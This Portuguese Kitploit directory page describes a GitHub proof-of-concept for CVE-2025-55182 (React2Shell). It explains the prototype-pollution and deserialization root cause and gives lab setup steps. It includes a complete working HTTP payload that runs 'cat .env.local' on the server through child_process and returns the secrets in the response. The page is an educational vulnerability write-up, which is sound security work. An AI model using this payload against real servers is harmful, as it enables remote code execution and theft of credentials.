Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
React2ShellPoC — Este repositório fornece uma prova de conceito para a CVE-2025-55182 (React2Shell), uma vulnerabilidade de execução remota de código no React Server Components. Demonstra como o exploit funciona, incluindo o payload e o impacto. | Kitploit
Ferramentas/GitHubGitHub/git0xlai/react2shellpoc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Este repositório fornece uma prova de conceito para a CVE-2025-55182 (React2Shell), uma vulnerabilidade de execução remota de código no React Server Components. Demonstra como o exploit funciona, incluindo o payload e o impacto.

Ver Repositório
1há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Compreendendo a CVE-2025-55182 (React2Shell): Um Mergulho Profundo na Execução Remota de Código via React Server Components

Visão Geral

A CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica de execução remota de código (RCE) que afeta os React Server Components. Essa falha permite que atacantes não autenticados executem código arbitrário em servidores vulneráveis ao explorar um problema de desserialização insegura no protocolo Flight do React.

Devido à sua pontuação CVSS de 10.0, esta vulnerabilidade é altamente grave e requer atenção imediata. Neste post, vou apresentar os detalhes da vulnerabilidade, o mecanismo de exploração e fornecer uma demonstração de prova de conceito (PoC). Vamos mergulhar.

Versões Afetadas

As seguintes versões dos React Server Components e pacotes relacionados são vulneráveis:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Pacotes Afetados:

react-server-dom-parcel

  • react-server-dom-turbopack

  • react-server-dom-webpack

  • O que são React e React Server Components?

    React.js é uma das bibliotecas JavaScript mais populares para a construção de interfaces de usuário, especialmente no contexto de aplicações de página única (SPAs). Ela permite que os desenvolvedores criem experiências de usuário dinâmicas e interativas.

    React Server Components (RSC) é um recurso experimental que permite que algumas partes de um aplicativo React sejam renderizadas no servidor, em vez de no cliente. Isso reduz a quantidade de JavaScript necessária no lado do cliente e melhora o desempenho, especialmente em aplicações de grande porte.

    No entanto, o RSC introduz novas complexidades, particularmente na forma como os dados são trocados entre o servidor e o cliente. A CVE-2025-55182 explora um desses problemas com o protocolo Flight, que é usado no RSC para transferir dados entre o servidor e o cliente.


    A Vulnerabilidade

    Resumo da Vulnerabilidade

    A CVE-2025-55182 decorre da desserialização insegura no protocolo Flight do React. Desserialização é o processo de converter dados serializados (geralmente JSON) em um objeto na memória. O React usa esse processo para lidar com os dados trocados entre o servidor e o cliente durante a renderização no lado do servidor.

    No entanto, a implementação de desserialização do React é insegura. Especificamente, o React usa notação de colchetes para acessar propriedades de objetos (por exemplo, moduleExports[metadata[2]]), o que permite que atacantes manipulem a cadeia de protótipos dos objetos JavaScript. Isso resulta em poluição de protótipo e abre a possibilidade de modificar as propriedades de objetos de maneiras inesperadas, permitindo que atacantes explorem a lógica de desserialização.

    Causa Raiz

    A raiz da vulnerabilidade está na forma como o React lida com payloads do protocolo Flight. O uso de notação de colchetes para acesso a propriedades permite que atacantes percorram a cadeia de protótipos, concedendo-lhes acesso a propriedades que normalmente não deveriam ser acessíveis — como constructor. Ao manipular essa propriedade, os atacantes podem acessar o construtor global Function e executar código JavaScript arbitrário no servidor.

    Como a Exploração Funciona

    A exploração funciona enviando um payload especialmente elaborado para o servidor, que manipula a lógica de desserialização do protocolo Flight. Ao combinar poluição de protótipo e desserialização insegura, um atacante pode obter o controle do servidor e executar código arbitrário.

    Os principais componentes do ataque incluem:

    1. Poluição de Protótipo: O atacante manipula a cadeia de protótipos de um objeto para injetar novas propriedades, incluindo as propriedades constructor e Function.

    2. Execução do Payload: Uma vez que o atacante tenha acesso ao construtor Function, ele pode executar código JavaScript arbitrário, como ler arquivos ou executar comandos do sistema.


    Exploração Passo a Passo

    Configurando o Ambiente Vulnerável

    Para testar a exploração, você precisará de um ambiente React vulnerável. Veja como configurá-lo:

    1. Criar um Projeto Vulnerável
      Primeiro, crie um novo projeto Next.js com uma versão vulnerável dos React Server Components:
    • npx [email protected] poc-react2shell cd poc-react2shell

      Alternativamente, você pode usar um repositório GitHub pré-configurado que já contém a configuração vulnerável.

    • Criar um Arquivo de Ambiente de Teste
      No diretório raiz do seu projeto, crie um arquivo .env.local contendo dados confidenciais, como chaves de API. O atacante terá como alvo esse arquivo na PoC:

    • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

    • Iniciar o Servidor de Desenvolvimento
      Execute o servidor de desenvolvimento:

    1. npm run dev

      O servidor vulnerável agora deve estar em execução em http://localhost:3000.


    Etapas de Exploração

    Quando seu ambiente estiver pronto, você pode enviar o payload malicioso para acionar a exploração. É aqui que o Burp Suite ou qualquer outra ferramenta de proxy HTTP se torna útil.

    1. Enviar o Payload Malicioso
      Abra o Burp Suite e navegue até a aba Repeater. Defina a URL de destino como http://localhost:3000/ e envie o seguinte payload malicioso:

    2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

    3. Analisar a Resposta
      Após enviar a solicitação, se a exploração for bem-sucedida, o servidor responderá com o conteúdo do seu arquivo .env.local (ou qualquer dado confidencial nas variáveis de ambiente). Isso confirma o acesso do atacante a dados confidenciais. Resposta


    Explicando o Payload Malicioso

    Análise dos Cabeçalhos

    1. Host: Especifica o servidor de destino (localhost:3000).

    2. User-Agent: Identifica o cliente que faz a solicitação. A string normalmente é de um navegador, mas aqui pode ser elaborada para ofuscar o ataque.

    3. Next-Action: Provavelmente parte do processamento do Next.js, pode confundir o servidor ou interagir com o processo de desserialização.

    4. X-Nextjs-Request-Id: ID de solicitação exclusivo para rastreamento e depuração no Next.js.

    5. Content-Type: Dados de formulário multipart, usados para dados estruturados como JSON ou uploads de arquivos.

    6. Content-Length: Indica o comprimento do corpo da solicitação.

    Campos Multipart

    • Campo 0: Contém o payload que aciona a poluição de protótipo. Ele modifica o protótipo do objeto, adiciona uma nova propriedade then e inclui um objeto _response malicioso. O _prefix executa um comando child_process para ler o arquivo .env.local.

    • Campo 1: Faz referência ao Campo 0 para propagar o ataque.

    • Campo 2: Array vazio, garantindo que a estrutura do payload permaneça intacta.


    Impacto da Vulnerabilidade

    A vulnerabilidade CVE-2025-55182 permite que atacantes:

    1. Executem código arbitrário no servidor.

    2. Leiam arquivos confidenciais, como chaves de API e arquivos de configuração.

    3. Estabeleçam shells reversos, potencialmente obtendo controle total do servidor.

    4. Exfiltrem dados confidenciais do servidor.


    Conclusão

    A CVE-2025-55182 (React2Shell) é uma vulnerabilidade crítica nos React Server Components que permite que atacantes não autenticados executem código arbitrário em servidores vulneráveis. Ao explorar desserialização insegura e poluição de protótipo, os atacantes podem obter controle total sobre o servidor, ler dados confidenciais e executar comandos maliciosos.

    Se você estiver usando React Server Components, é crucial atualizar para as versões corrigidas mais recentes para mitigar essa vulnerabilidade. Seguir as melhores práticas de segurança, como validação de entrada e tratamento adequado da desserialização, é essencial para prevenir vulnerabilidades semelhantes.

    Referências


    • Detalhes da CVE-2025-55182
    • Next.js-RSC-RCE-Scanner-CVE-2025-66478
    • PoC [kOaDT]
    • react2shellcve202555182

    Aviso Legal

    Esta prova de conceito destina-se exclusivamente a fins educacionais e de pesquisa. Não tente explorar ou testar vulnerabilidades em qualquer sistema sem consentimento explícito e por escrito do proprietário do sistema. Testes não autorizados podem ser ilegais e antiéticos. Sempre siga práticas legais e responsáveis em segurança cibernética.

    Baixar ferramenta